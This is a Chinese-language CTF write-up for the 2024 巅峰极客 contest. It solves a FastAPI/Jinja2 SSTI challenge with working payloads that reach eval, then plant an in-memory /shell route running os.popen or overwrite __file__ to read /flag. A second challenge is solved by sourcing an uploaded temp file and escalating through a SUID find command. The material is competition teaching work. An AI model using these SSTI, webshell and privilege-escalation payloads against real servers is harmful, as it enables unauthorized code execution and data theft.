2024第七届巅峰极客部分wp

GoldenHornKing

源码给了是很明显的ssti,在/calc路由里传参calc_req,黑名单是不能有:数字、百分号、非ascii之外的字符。最烦的是这个access,原本是False,可以不用管,但是一旦成功执行一次代码,access就会变成True,这个环境就不能打了,所以我们最好还是在本地先去掉这个access,方便我们调试,先打通一遍,再打开环境尝试。

1
2
3
4
5
6
7
8
9
10
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render({"app": app})
access = True
return "fight"

这里calc_req参数外面给了四个大括号,这意味着我们传参不需要像ssti一样再传两对大括号进去了,直接可以打payload。

这里是没给回显的,除非你有read()所以我们只能通过服务器是否爆500来判断我们的payload是否有问题。

我们先拿eval:

1
().__class__.__base__.__subclasses__()[].__init__.__globals__['__builtins__']['eval']

这里使用 .__subclasses__() 后面配合 [] 可能更多地是选择了系统中第一个有 __init____globals__ 的子类,因此不会导致错误。

这里还有一个拿eval的办法:

1
app.__init__.__globals__.__builtins__.eval("1*1")

因为代码前面app = FastAPI(),app是FastAPI的一个对象,我们就可以直接调用app也就是FastAPI类的方法了。

拿到eval后,我们到现在这道题有两个做法:

方法一:打内存马进行rce

打FastAPI内存马,在FastAPI类有一个add_api_route方法,我们可以通过这个方法来增加一个路由,进行rce

1
app.add_api_route('/shell', lambda: __import__('os').popen('whoami').read())

我们需要再eval里重新获取一遍app也就是FastAPI的对象。

1
__import__('sys').modules['__main__'].__dict__['app']
  1. sys.modulessys 模块中有一个名为 modules 的字典,它维护了所有已导入模块的当前状态。这个字典的键是模块的名称,而值是对应的模块对象。
  2. modules['__main__']__main__ 是运行 Python 程序的主模块,无论是直接从命令行运行的脚本,还是通过某个执行环境运行的代码。通过 sys.modules['__main__'],我们获取到了当前执行程序的主模块对象。
  3. __dict__:每个模块对象都有一个 __dict__ 属性,它是一个字典,包含了模块内定义的所有全局变量和函数。
  4. ['app']:最后,从模块的 __dict__ 中获取名为 app 的对象。

然后整合以下payload:

1
app.__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].add_api_route('/shell', lambda :__import__('os').popen('cat /flag').read())")

现在访问/shell就可以拿到flag了

方法二:修改__file__进行任意文件读取

1
2
3
4
@app.get("/")
@timeout_after(1)
async def index():
return open(__file__).read()

在跟路由读取了当前代码文件内容,并输出到网页上。那么如果我们能修改__file__为/flag那么访问根路由就能拿到flag了。

__file__在全局变量globals里有

1
setattr(__import__('sys').modules['__main__'],'__file__','/flag')

使用setattr(object, name, value)方法修改对象的属性值。

1
2
3
object -- 对象。
name -- 字符串,对象属性。
value -- 属性值。

Q:为什么不用__import__('sys').modules['__main__'].__dict____file__明明在这里面啊?

A:因为setattr函数的第一个值是一个对象,__dict____main__的一个属性,并不是一个对象。

整合一下payload:

1
app.__init__.__globals__.__builtins__.eval("setattr(__import__('sys').modules['__main__'],'__file__','/flag')")

php_online

http://8.137.112.104/?p=15

admin_Test

扫后台发现/admin.html,这里可以文件上传,并执行命令。

QQ_1724744695876

但是命令执行过滤了基本所有字符,留下的只有:

命令部分fuzz出来的可用字符为t * . /

只能执行临时文件:

1
. /t*/*

通过.(点,也就是 source命令)去执行/tmp目录里的文件

67a60b82f0a64abdb24b4041531f392b

flag没有权限读,尝试提权,发现find命令有suid权限:

42dc5d58fe364771a2e7bb088d7266e4

直接find执行命令:

1
find /etc/passwd -exec cat /flag \;

2024第七届巅峰极客部分wp
http://example.com/2024/08/25/2024第七届巅峰极客部分wp/
作者
Infernity
发布于
2024年8月25日
许可协议